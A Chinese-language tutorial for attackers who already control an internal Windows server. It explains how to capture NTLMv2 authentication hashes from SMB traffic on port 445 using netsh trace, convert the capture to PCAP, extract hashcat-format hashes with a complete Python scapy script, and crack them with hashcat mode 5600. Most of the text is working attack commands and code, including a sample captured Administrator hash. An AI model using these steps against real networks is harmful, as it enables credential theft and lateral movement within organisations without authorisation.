监听445端口抓v2数据
字数 1264 2025-08-19 12:42:09
监听445端口抓取NTLMv2 Hash完整指南
0x00 前言
本教程详细讲解如何通过监听445端口抓取NTLMv2 Hash的方法。该方法适用于已控制内网一台服务器后,通过监听其445共享文件端口获取未认证SMB服务的凭证信息。
0x01 适用场景
- 控制内网一台服务器后
- 目标网络为小型局域网,工作组间互相分享文件
- 获取未认证或认证过期的SMB服务凭证
- 特别适用于获取文件服务器访问凭证
0x02 技术原理
当机器访问SMB服务时,会发送用户名和NTLM v2/v1进行认证。通过监听445端口可捕获这些认证信息。注意:
- 已认证成功的用户再次访问不会重新认证
- 只能获取首次认证或认证过期的连接信息
0x03 Windows平台抓包方法
使用Windows自带的netsh trace功能,无需第三方工具。
必要条件
- 管理员权限
- Win7、Server2008R2及以后系统(不支持Server2008)
抓包命令
netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.20.1 keywords=ut:authentication
参数说明:
capture=yes: 开启抓包功能persistent=yes: 系统重启不关闭抓包traceFile: 保存路径overwrite=yes: 覆盖已有文件correlation=no: 不收集关联事件protocol=tcp: 抓取TCP协议ipv4.address: 限定只抓指定IP的数据包(必须改为本机IP)keywords=ut:authentication: 认证相关关键字
停止抓包
netsh trace stop
0x04 转换ETL为PCAP格式
- 使用Windows Message Analyzer打开.etl文件
- 等待左下角状态变为"Ready"
- 点击File → Save as → Export
- 保存为.cap格式(忽略可能的警告弹窗)
- 用Wireshark打开.cap文件并另存为.pcap格式
0x05 使用Python脚本提取NTLMv2 Hash
脚本说明
原脚本存在提取NTLM Hash部分偏移问题,改进后通过正则表达式3.00000000000000000000000000000000000000000000000000(.*)匹配NTLM数据。
#!/usr/bin/env python2.7
import re
try:
import scapy.all as scapy
except ImportError:
import scapy
try:
import scapy_http.http
except ImportError:
from scapy.layers import http
packets = scapy.rdpcap('NTLM_2.pcap')
Num = 1
for p in range(len(packets)):
try:
if packets[p]['TCP'].dport == 445:
TCPPayload = packets[p]['Raw'].load
if TCPPayload.find('NTLMSSP') != -1:
if len(TCPPayload) > 500:
print("-Hashcat NTLMv2 No. %s" % (Num))
Num = Num + 1
print("PacketNum: %d" % (p + 1))
print("src: %s" % (packets[p]['IP'].src))
print("dst: %s" % (packets[p]['IP'].dst))
Flag = TCPPayload.find('NTLMSSP')
ServerTCPPayload = packets[p - 1]['Raw'].load
ServerFlag = ServerTCPPayload.find('NTLMSSP')
ServerChallenge = ServerTCPPayload[ServerFlag + 24:ServerFlag + 24 + 8].encode("hex")
print("ServerChallenge: %s" % (ServerChallenge))
DomainLength1 = int(TCPPayload[Flag + 28:Flag + 28 + 1].encode("hex"), 16)
DomainLength2 = int(TCPPayload[Flag + 28 + 1:Flag + 28 + 1 + 1].encode("hex"), 16) * 256
DomainLength = DomainLength1 + DomainLength2
DomainNameUnicode = TCPPayload[Flag + 88:Flag + 88 + DomainLength]
DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i % 2 == 0]
DomainName = ''.join(DomainName)
print("DomainName: %s" % (DomainName))
UserNameLength1 = int(TCPPayload[Flag + 36:Flag + 36 + 1].encode("hex"), 16)
UserNameLength2 = int(TCPPayload[Flag + 36 + 1:Flag + 36 + 1 + 1].encode("hex"), 16) * 256
UserNameLength = UserNameLength1 + UserNameLength2
UserNameUnicode = TCPPayload[Flag + 88 + DomainLength:Flag + 88 + DomainLength + UserNameLength]
UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i % 2 == 0]
UserName = ''.join(UserName)
print("UserName: %s" % (UserName))
NTLMResPonseLength1 = int(TCPPayload[Flag + 20:Flag + 20 + 1].encode("hex"), 16)
NTLMResPonseLength2 = int(TCPPayload[Flag + 20 + 1:Flag + 20 + 1 + 1].encode("hex"), 16) * 256
NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2
NTLMResPonse = TCPPayload[Flag + 140:Flag + 140 + NTLMResPonseLength].encode("hex")
NTLMZONG = packets[p]['Raw'].load.encode("hex")
NTLM_FINDALL = re.findall('3.00000000000000000000000000000000000000000000000000(.*)', NTLMZONG)
print("Hashcat NTLMv2:")
print("%s::%s:%s:%s:%s" % (UserName, DomainName, ServerChallenge, NTLM_FINDALL[0][:32], NTLM_FINDALL[0][32:632]))
except:
pass
0x06 使用Hashcat破解NTLMv2 Hash
破解命令
hashcat -m 5600 Administrator::BJ:c3e0054e464f07fa:ee783fa6e8ceff8cb08471f197e65bc6:01010000000000007db2d91678bdd601d89d32f40af504700000000002000a004800410043004b00450001000800570049004e00370004001a006800610063006b0065002e0074006500730074006c006100620003002400770069006e0037002e006800610063006b0065002e0074006500730074006c006100620005001a006800610063006b0065002e0074006500730074006c0061006200070008007db2d91678bdd601060004000200000008003000300000000000000000000000003000004a8fe7c7179152d990b897f672c25cefa677f387edc9f732008c32632721ff420a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00320030002e00310034003100000000000000000000000000 password.list -o found.txt --force
参数说明:
-m 5600: 指定NTLMv2破解模式password.list: 密码字典文件-o found.txt: 输出结果文件--force: 强制运行
0x07 注意事项
- 确保netsh trace命令中的ipv4.address参数设置为正确的本机IP
- 转换格式时使用.etl文件而非.cab文件
- 正则表达式可能需要根据实际情况调整
- NTLMv1和NTLMv2的破解方式不同,需使用对应模式
0x08 参考链接
- 原文参考: https://xz.aliyun.com/t/1945
- Windows Message Analyzer下载: https://pan.baidu.com/s/1dE1pM2d